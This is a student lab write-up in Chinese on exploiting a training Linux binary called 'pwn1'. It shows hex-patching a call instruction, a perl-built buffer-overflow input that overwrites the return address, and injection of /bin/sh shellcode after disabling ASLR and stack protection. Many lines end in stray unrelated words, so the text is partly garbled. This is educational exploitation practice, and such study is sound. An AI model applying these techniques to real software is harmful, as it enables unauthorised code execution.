【實踐內容概述】linux
本次實踐的對象是一個名爲pwn1的linux可執行文件。算法
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。vim
【實踐內容】windows
1.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。sass
2.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。網絡
3.注入一個本身製做的shellcode並運行這段shellcode。dom
(這幾種思路,基本表明現實狀況中的攻擊目標)函數
1.運行本來不可訪問的代碼片斷工具
2.強行修改程序執行流
3.注入運行任意代碼。
【基礎知識】
熟悉Linux基本操做 。
認識經常使用指令,如管道(|),輸入、輸出重定向(>)等。
理解Bof的原理。
看懂彙編、機器指令、EIP、指令地址。
會使用gdb,vi。
【實踐步驟】
part.1[修改程序機器指令,改變程序執行流程]
須要掌握知識點:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進制編輯工具
注意要點:
*NOP, JNE, JE, JMP, CMP彙編指令的機器碼
*反彙編指令objdump:
objdump反彙編命令: objdump -f test //顯示test的文件頭信息 objdump -d test //反彙編test中的須要執行指令的那些section objdump -D test //與-d相似,但反彙編test中的全部section objdump -h test //顯示test的Section Header信息 objdump -x test //顯示test的所有Header信息 objdump -s test //除了顯示test的所有Header信息,還顯示他們對應的十六進制文件代碼 xxd命令: 用vi命令打開一個文件,在vi命令模式下輸入 :%!xxd //回車後,該文件會以十六進制形式顯示 :%!xxd -r //參數-r是指將當前的十六進制轉換爲二進制
在認識了反彙編指令以後,首先咱們在桌面 /Desktop 的路徑上打開終端,測試成功以後輸入
objdump -d 20164319pwn1
對命名爲「20164319pwn1」的文件進行反彙編。
*修改指令改變程序執行流程(實際舉例)
這裏能夠看到main函數調用foo,對應機器指令爲「 e8 d7ffffff」,
那咱們想讓它調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。
用Windows計算器,直接 47d-4ba就能獲得補碼,是c3ffffff。
修改可執行文件,將其中的call指令的目標地址由d7ffffff變爲c3ffffff。
首先輸入
vim 20164319pwn1
進行編輯模式以後輸入
:%!xxd
將顯示模式切換爲16進制模式如圖
定位到須要修改的地方,輸入
/e8d7
將「d7」修改成「c3」,按ESC鍵退出編輯模式
鍵入:
:%!xxd -r :wq
轉換16進製爲原格式並保存
而後再反彙編一下看看call指令是否正確調用getshell:
objdump -d 20164319pwn1 | more
part.2[經過構造輸入參數,形成BOF攻擊,改變程序執行流]
須要掌握知識點:堆棧結構,返回地址
這裏使用修改前的pwn1文件,命名爲「lyzpwn1」,因爲main 函數調用 foo 函數,foo 函數中存在 Buffer overflow 漏洞,咱們的目標是讓溢出的字節覆蓋返回地址(以下圖,當輸入達到28B時產生溢出)
爲了確認輸入字符串哪幾個字符會覆蓋到返回地址,用gdb命令調試,輸入一個48bit的字符串
輸入
info r
查看當前寄存器狀態,發現EIP寄存器被0x35353535覆蓋,即當前返回地址爲5555,這就說明剛剛輸入的48B字符串中,含有5的字符串溢出到了EIP中
精確判斷字符串中的溢出位置,將「55555555」替換爲「12345678」,繼續調試,觀察具體是哪幾個數字溢出到了EIP寄存器中
發現「1234」那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。
爲了確認用什麼值來覆蓋返回地址,即getShell的內存地址,反彙編時能夠看到,即0804847d(代碼中的順序應爲:\x7d\x84\04\08)
緊接着,構造輸入字符串,由於咱們無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此先生成包括這樣字符串的一個文件。\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。
鍵入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使用16進制指令查看文件的內容是否如預期
xxd input
將input的輸入,經過管道符「|」,做爲lyzpwn1的輸入,得到shell
(cat input; cat) | ./lyzpwn1
part.3[注入Shellcode並執行]
*shellcode就是一段機器指令(code)
一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),
因此這段機器指令被稱爲shellcode。
在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。
咱們按照實驗指導的要求,複製文件命名爲「4319pwn1」,並給出如下shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
準備工做,修改配置,提示找不到execstack命令,先輸入命令進行安裝
apt-get install execstack
而後鍵入如圖
root@kali:~/桌面# execstack -s pwn1 //設置堆棧可執行 root@kali:~/桌面# execstack -q pwn1 //查詢文件的堆棧是否可執行 X pwn1 root@kali:~/桌面# more /proc/sys/kernel/randomize_va_space 2 root@kali:~/桌面# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化 root@kali:~/桌面# more /proc/sys/kernel/randomize_va_space 0 root@kali:~/桌面#
*構造須要注入的Payload
Linux下有兩種基本構造攻擊buf的方法:
(1)retaddr + nop + shellcode
(2)nop + shellcode + retaddr
因爲retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面
緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊
咱們這個buf夠放這個shellcode了
結構爲:nops+shellcode+retaddr。
nop一爲是了填充,二是做爲「着陸區/滑行區」。
咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。
首先,構造32個字符「A」,其後爲retaddr + nop + shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
接下來須要肯定返回地址(即/x4/x3/x2/x1)須要填什麼,所以,注入這段buf如圖
(cat input_shellcode;cat) | ./4319pwn1
再開另一個終端,用gdb來調試4319pwn1這個進程(在此以前,須要找到4319pwn1執行的進程號)
ps -ef | grep 4319pwn1 //找到4319pwn1的進程號 gdb //啓動gdb調試這個進程 attach 3577 //gdb關聯4319pwn1這個進程,開始調試 disassemble foo //經過設置斷點,來查看注入buf的內存地址 break *0x080484ae //在另一個終端中按下回車 c //continue
鍵入
info r esp
查看esp寄存器,肯定/x4/x3/x2/x1該填什麼。
如圖,看到01020304了,就是返回地址的位置0xffffd2bc。shellcode就挨着,因此地址是0xffffd2c0,xc0/xd2/xff/xff/就是咱們要找的。
如圖,得到shell:
(到此,實驗部分總算是作完了)
【思想感悟】
這個實驗從時間上看我陸陸續續作了好久,中間一直有大大小小的問題,主要仍是出於對kali和linux系統的不熟悉,在此我要感謝老師的悉心指導,以及在課下幫我排除問題的同窗和耐心指導咱們組員的小組長!!!!真的很感謝,第一次作網絡對抗技術的實驗,讓我有點緊張和懼怕,一直遲遲不敢動手。可是對照着實驗指導結合網上查資料,真正認真研究了以後,我天天研究一點,分好幾天看懂了實驗內容。總結一下這幾天的感悟就是:有問題多問,比起在那裏苦思冥想,直接上手操做得來感悟更真切!並且每一個人的機器操做方面的問題均可能不同,這樣更有益於咱們排查問題,琢磨實踐內容和加深對知識點的理解。雖然大致上主要要求掌握的內容我都理解了,可是也有一部分拓展內容我不是很懂。雖然實踐內容在多方求證和反覆研究實踐下作出來了,可是這也讓我認識到本身在專業知識領域的不足,下定決心要好好研究這方面的內容,此次的實踐真正讓我感覺到了這門課程的有趣之處(雖然頭疼的地方也很多),可是我想相信好的開頭會帶來一個好的方向!也但願我在之後的實驗裏能愈來愈熟練,作的愈來愈快,儘可能獨立自主的理解所有實驗內容。